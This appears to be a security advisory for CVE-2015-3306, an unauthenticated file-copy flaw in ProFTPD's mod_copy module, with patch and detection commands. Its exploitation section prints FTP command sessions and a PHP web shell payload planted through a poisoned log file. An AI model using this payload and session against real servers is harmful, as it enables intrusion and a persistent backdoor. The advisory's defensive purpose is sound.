The ProFTPD project security advisory for CVE-2015-3306 (CVSS score 9.8, Critical) addresses an unauthenticated access control vulnerability within the mod_copy module of ProFTPD version 1.3.5 and earlier. The flaw allows unauthenticated remote attackers to issue custom FTP commands (SITE CPFR and SITE CPTO) to copy arbitrary server files into public web directories, leading to remote code execution.
Executive Threat Summary & Exploit Landscape
ProFTPD is one of the most widely deployed open-source FTP servers across Unix and Linux hosting environments. The mod_copy module was developed to enable clients to copy files on the remote server without requiring the client to download and re-upload the data stream.
Under CVE-2015-3306, the module fails to verify whether a client connection has successfully completed authentication before processing SITE CPFR (Copy From) and SITE CPTO (Copy To) commands. Because the FTP daemon commonly runs as a privileged user or shares group access with web servers (such as Apache HTTPD or NGINX), attackers leverage this vulnerability to copy web shells directly into web document roots, compromising the host server.
Vulnerability Mechanics & Technical Root Cause (CWE-284)
In contrib/mod_copy.c, command handlers for SITE CPFR and SITE CPTO were registered with the command table using standard command flags, but omitted the G_PR_CMD_AUTH flag that requires authenticated status:
/* Exploitation Session over Raw TCP Port 21 */
220 ProFTPD 1.3.5 Server ready.
SITE CPFR /proc/self/cmdline
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/infoleak.txt
250 Copy successful
/* Weaponized Web Shell Injection via Poisoned Error Log */
SITE CPFR /var/log/proftpd/proftpd.log
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/shell.php
250 Copy successful
An attacker submits a malformed FTP command containing embedded PHP code (e.g., USER <?php system($_GET['cmd']); ?>). This string is logged to /var/log/proftpd/proftpd.log. The attacker then issues SITE CPFR targeting the log file and SITE CPTO /var/www/html/shell.php, creating an active PHP backdoor in the web root.
Vulnerable Software Versions & Patch Status Matrix
| Distribution / Package | Vulnerable Versions | Fixed Release | Status |
|---|---|---|---|
| ProFTPD Upstream Source | Version 1.3.5 and prior | Version 1.3.5a, 1.3.6+ | Patched |
| Debian / Ubuntu proftpd-basic | proftpd-basic < 1.3.5-1.1+deb8u1 | 1.3.5-1.1+deb8u1 or modern 1.3.8+ | Distribution Update |
| RHEL / CentOS proftpd (EPEL) | proftpd < 1.3.5-2.el7 | proftpd-1.3.5-2.el7+ | EPEL Update |
Step-by-Step Remediation Playbook & Patch Commands
Systems administrators must upgrade ProFTPD or disable the mod_copy module immediately:
- Disable mod_copy Module (Immediate Workaround): Edit
/etc/proftpd/modules.conforproftpd.confand comment outmod_copy:# In /etc/proftpd/modules.conf # LoadModule mod_copy.c <-- COMMENT OUT THIS LINE # Restart ProFTPD service sudo systemctl restart proftpd - Upgrade Package via APT (Debian / Ubuntu):
sudo apt-get update sudo apt-get install --only-upgrade proftpd-basic proftpd -v - Upgrade Package via DNF / YUM (RHEL / Rocky Linux):
sudo dnf upgrade proftpd -y sudo systemctl restart proftpd
Threat Detection, Log Auditing & Forensic Queries
Inspect ProFTPD transfer logs and system auth logs for unauthorized SITE CPFR and SITE CPTO commands:
# Grep for SITE CPFR/CPTO in ProFTPD logs
grep -E "(SITE CPFR|SITE CPTO)" /var/log/proftpd/*.log /var/log/xferlog
# Inspect web roots for unexpected PHP files created by the FTP user
find /var/www/ -user proftpd -name "*.php"



